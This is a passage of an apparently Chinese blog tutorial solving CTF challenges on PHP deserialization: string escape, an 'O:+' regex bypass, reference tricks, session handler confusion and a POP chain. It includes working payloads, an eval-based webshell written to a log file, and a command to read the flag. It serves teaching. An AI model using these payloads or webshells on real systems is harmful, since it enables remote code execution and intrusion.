Tzo3OiJtZXNzYWdlIjo0OntzOjQ6ImZyb20iO3M6MzEwOiJsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVbG92ZVVsb3ZlVWxvdmVVIjtzOjM6Im1zZyI7czoxOiJiIjtzOjI6InRvIjtzOjE6ImMiO3M6NToidG9rZW4iO3M6NToiYWRtaW4iO30iO3M6MzoibXNnIjtzOjE6ImIiO3M6MjoidG8iO3M6MToiYyI7czo1OiJ0b2tlbiI7czo0OiJ1c2VyIjt9

在cookie中新增msg,并将上面得到的base64字符赋值给它
在这里插入图片描述
此时再访问此界面即可得到flag
在这里插入图片描述

0X02(字符串变少)

源码如下

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

说可能会在phpinfo中发现东西,这时候我们查看一下phpinfo
在这里插入图片描述
发现一个类似flag的文件,先在心中记下,此时回过头看代码

这里发现file_get_contents函数,这个函数是可以读取文件的,这里的参数是base64解密后的$userinfo['img'],再观察这个参数,它是由参数$serialize_info反序列后得到的,再跟进这个$serialize_info查看,它是filter(serialize($_SESSION)),此时查看这个filter()函数发现它是一个过滤函数,当有php和flag时替换为空,那这里的话,按理说我们直接给_SESSION[img]赋值,就可以控制这个输出内容,但是呢我们会发现有这个东西

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

它控制了我们的$_SESSION['img']值,这个sha1算法是不可逆的,因此我们这里只能使img的内容为guest_img.png,看起来确实这里不能再突破了,但我们发现有这个extract($_POST);,它是一个变量覆盖函数,此时我们可以通过反序列化字符串逃逸,将我们自己设置的img传入,同时将另一个img抛弃,此时就成功反序列化并利用了这个file_get_contents函数,开始构造

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
$_SESSION["user"] = 'flagflag';
$_SESSION['function'] ='1';//随便传个值
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';//这个是	d0g3_f1ag.php的base64编码
var_dump(serialize($_SESSION));
$serialize_info = filter(serialize($_SESSION));
echo"<br>
";
var_dump(serialize($serialize_info));

结果

string(96) "a:3:{s:4:"user";s:8:"flagflag";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
string(96) "s:88:"a:3:{s:4:"user";s:8:"";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";"

会发现下面的那个键名变空了,但长度仍为8,那它此时的键名就会往后取八个,也就是";s:8:"f,但是此时它的这个格式与正常的是不同的,无法成功反序列化,我们可以使function这个全部内容变成键名的一部分,这个时候就是无问题的,也就是说,让它把";s:8:"function";s:1:"1"给吃掉,而这部分一共是24个字符,我们的flag一个是吃4个,构造6个flag,就可以成功吃掉这个,而后我们的img就成功传入了,
此时修改$_SESSION['function']1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
此时再运行得到

string(137) "s:128:"a:3:{s:4:"user";s:24:"";s:8:"function";s:42:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";"

这个时候就是正好没问题的,因为反序列化到;}结束,后面的视为垃圾字符,不再查看
但是此时的话,我们是a:3,应该是有3个成员的,但是我们内容里,只有两个

1、s:4:"user";s:24:"";s:8:"function";s:1:"1";
2、s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"

因此我们需要再构造一个成员,来使得内容完整

string(94) "s:86:"a:3:{s:4:"user";s:24:"";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"name";s:6:"quan9i";}";"

此时的话就正好三个成员

1、s:4:"user";s:24:"";s:8:"function";s:1:"1";
2、s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
3、s:4:"name";s:6:"quan9i"

此时去传值即可,这个输出函数是在$functionshow_image时输出的,这个$function是由$_GET[f]控制的,因此我们get一个f=show_image即可
在这里插入图片描述
表面
在这里插入图片描述
此时再将这个/d0g3_f111111ag进行base64加密,替代刚刚的base64就可以得到flag
在这里插入图片描述

绕过正则

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

首先可以发现多了个这个正则

/[oc]:\d+:/i

首先了解一下[]的含义

[] 字符集合(字符域)。匹配所包含的任意一个字符。例如, '[abc]' 可以匹配 "plain" 中的 'a'。

此时的话就可以看明白了,其含义就是过滤o:数字和c:数字,可以在:和数字中间加上个+号来使过滤失效,此时就类似于简单题的0X03,利用backdoor类进行构造即可
代码如下

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class backDoor{
    public $code='eval($_POST[1]);';
    public function getInfo(){
        eval($this->code);
    }
}

$a=serialize(new ctfShowUser());
$b=str_replace('O:','O:+',$a);
$c=str_replace('C:','C:+',$b);
echo(urlencode($c));

得到

O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A16%3A%22eval%28%24_POST%5B1%5D%29%3B%22%3B%7D%7D

此时就可以进行rce了
在这里插入图片描述

利用引用

源代码

<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

这里我们只需要保证token和password相同就可以得到flag,利用这个&即可

<?php
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct(){
        $this->token=&$this->password;
    }
    public function login(){
        return $this->token===$this->password;
    }
}
$a=new ctfshowAdmin();
echo serialize($a);

得到O:12:"ctfshowAdmin":2:{s:5:"token";N;s:8:"password";R:2;},赋值给参数ctfshow即可得到flag

session反序列化

#check.php
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);

if($GET){

	$data= $db->get('admin',
	[	'id',
		'UserName0'
	],[
		"AND"=>[
		"UserName0[=]"=>$GET['u'],
		"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
		]
	]);
	if($data['id']){
		//登陆成功取消次数累计
		$_SESSION['limit']= 0;
		echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
	}else{
		//登陆失败累计次数加1
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
		echo json_encode(array("error","msg"=>"登陆失败"));
	}
}


#inc.php
ini_set('session.serialize_handler', 'php');
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

inc.php中没有找到有关session注入的地方,不过这里我们知道了它是用php来读的,同时得到了一个类,同时呢我们会发现这个类在销毁的时候会进行一个file_put_contents,username和password是可控的,这里我们就想到借此来写一个木马文件

此时查看index.php

if(isset($_SESSION['limit'])){
		$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
		$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
	}else{
		 setcookie("limit",base64_encode('1'));
		 $_SESSION['limit']= 1;
	}

这行里的是limti,它这里肯定一直是假的,所以执行的也就是$_SESSION['limit']=base64_decode($_COOKIE['limit']),此时我们就可以通过控制cookie中的limit,来控制session,此时我们开始构造

<?php

//ini_set('session.serialize_handler', 'php_serialize');
session_start();
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

$user=new User('1.php','<?php @eval($_POST[1]);?>');
$_SESSION['user']=$user;
?>

得到

user|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"<?php @eval($_POST[1]);?>";s:6:"status";N;}

此时php读是怎么样的呢,我们再试一下,将上方代码中的注释取消即可
得到

a:1:{s:4:"user";O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"<?php @eval($_POST[1]);?>";s:6:"status";N;}}

发现两者不同点和之前所说类似,也就是多了个前者多了|,这里呢是php来读的,此时我们想要利用session反序列化的话,那么就需要用php来写,inc.php是php序列化来写的,而check.php包含了inc.php,因此也是php序列化来写的,此时我们就只能利用index.php来进行session反序列化了,只有它是用php来写的,此时我们构造我们的payload如下(将中间的内容都复制下来,粘贴到1.php后)

a:1:{s:4:"user";O:4:"User":3:{s:8:"username";s:5:"1.php|s:4:"user";O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"<?php @eval($_POST[1]);?>";s:6:"status";N;}";s:8:"password";s:25:"<?php @eval($_POST[1]);?>";s:6:"status";N;}}

|后面的是值,我们先将|后面的拿出来看其是否能成功序列化

$a='s:4:"user";O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"<?php @eval($_POST[1]);?>";s:6:"status";N;}";s:8:"password";s:25:"<?php @eval($_POST[1]);?>";s:6:"status";N;}';
var_dump(unserialize($a));

在这里插入图片描述
那么此时我们的思路就有了,这个是序列化文本,当php来读时后面是会自动加载的,我们只需要将序列化得到的字符串前面加个|,也就可以达到session反序列化的目的,由于有base64解码,我们这里进行base64加密即可

$a=|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:25:"<?php @eval($_POST[1]);?>";s:6:"status";N;}
echo base64_encode($a);

得到

fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNToiPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/PiI7czo2OiJzdGF0dXMiO047fQ==

此时赋值给cookie中的limit,而后再次访问index.php,此时看似是没有变化的,其实cookie已经改变,此时我们再访问一下check.php,让其进行反序列化,同时给参数u和pass赋值即可

u=quan9i&pass=quan9i

在这里插入图片描述

此时访问log-1.php
在这里插入图片描述
发现注入成功,我们传值即可获取flag

1=system("tac flag.php");

在这里插入图片描述

POP链构造

这里以2022年ISCC的一道题来进行讲解

<?php

echo 'Happy New Year~ MAKE A WISH<br>
';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/

思路如下

整体思路的话就是我们可以看见这个Try_Work_Hard类下append($value)方法是include变量的,
我们对这个变量进行赋值就可以实现读取flag.php,然后这个方法需要用__invoke()来调用,
而这个魔法方法是 当对象被当成函数来执行的时候调用,那么函数的话我们肯定就要找带括号的了,带括号的呢此时就找到了这个$function(),
而这个是在 __get($key)魔术方法里的,__get()是当访问不可访问或不存在的属性时触发,意思我们调用它不存在的一个属性,就会触发,
此时我们看 Road_is_Long类,它有这个__wakeup()类,这个是当反序列化成功的时候触发的,我们可以看见题里面检测wish变量,当值不是空的
时候就会进行反序列化,此时就触发了这个wakeup类,它首先是进行了过滤,它把page里的进行了过滤,如果我们此时给page赋值为对象,那它就是把
对象当成字符串来使用了,此时我们就会调用string这个魔法函数,这个函数里是调用这个string里的page变量,这时候我们的string也是个变量,那肯定
调用不了page呀,但我们可以给它赋值为对象,我们给string传值为这个Make_a_Change类的对象,此时我们就可以调用page了,但是这个类里没有page
这个时候就触发了__get魔术方法,这个方法是返回这个effort的值加上(),而这个类有一个构造方法__construc,它是给effort赋值的,我们此时给effort
赋值为一个Try_Work_Hard类的对象,它不就返回了Try_Work_Hard(),此时到这个类里,由于它是一个对象,被当成函数使用了,此时就触发了__involve魔术
方法,此时就append这个$var变量了,而append方法是包含这个$var变量的,此时我们用php:filter伪协议,就实现了读取文件

pop链构造如下

<?php

class Try_Work_Hard{
    protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
} 
class Road_is_Long{
    public $page;
    public $string;
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
} 
class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
} 
$pop=new Road_is_Long();
$pop->page=new Road_is_Long();
$pop->page->string=new Make_a_Change();
$pop->page->string->effort=new Try_Work_Hard();
echo urlencode(serialize($pop));
?>

而后得到

O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BN%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D

给参数赋值再经base64解码即可获取flag

http://59.110.159.206:7050/?wish=O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BN%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D

参考文章

反序列化之魔术方法的浅学习
原理实践学习php反序列化和session反序列化
[CTF]PHP反序列化总结
CTF中反序列化一篇详解
PHP反序列化
实战经验丨PHP反序列化漏洞总结
php序列化
PHP-Session利用总结
浅析PHP反序列化字符串逃逸

最后

网络安全工程师企业级学习路线

如图片过大被平台压缩导致看不清的话,扫码下方二维码获取****CSDN大礼包:《黑客&网络安全入门&进阶学习资源包免费分享!!


视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。
在这里插入图片描述
​​
一些我自己买的、其他平台白嫖不到的视频教程:

结语

网络安全产业就像一个江湖,各色人等聚集。相对于欧美国家基础扎实(懂加密、会防护、能挖洞、擅工程)的众多名门正派,我国的人才更多的属于旁门左道(很多白帽子可能会不服气),因此在未来的人才培养和建设上,需要调整结构,鼓励更多的人去做“正向”的、结合“业务”与“数据”、“自动化”的“体系、建设”,才能解人才之渴,真正的为社会全面互联网化提供安全保障。

特别声明:

此教程为纯技术分享!本书的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。!!!

扫码下方二维码获取****CSDN大礼包:《黑客&网络安全入门&进阶学习资源包免费分享!!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值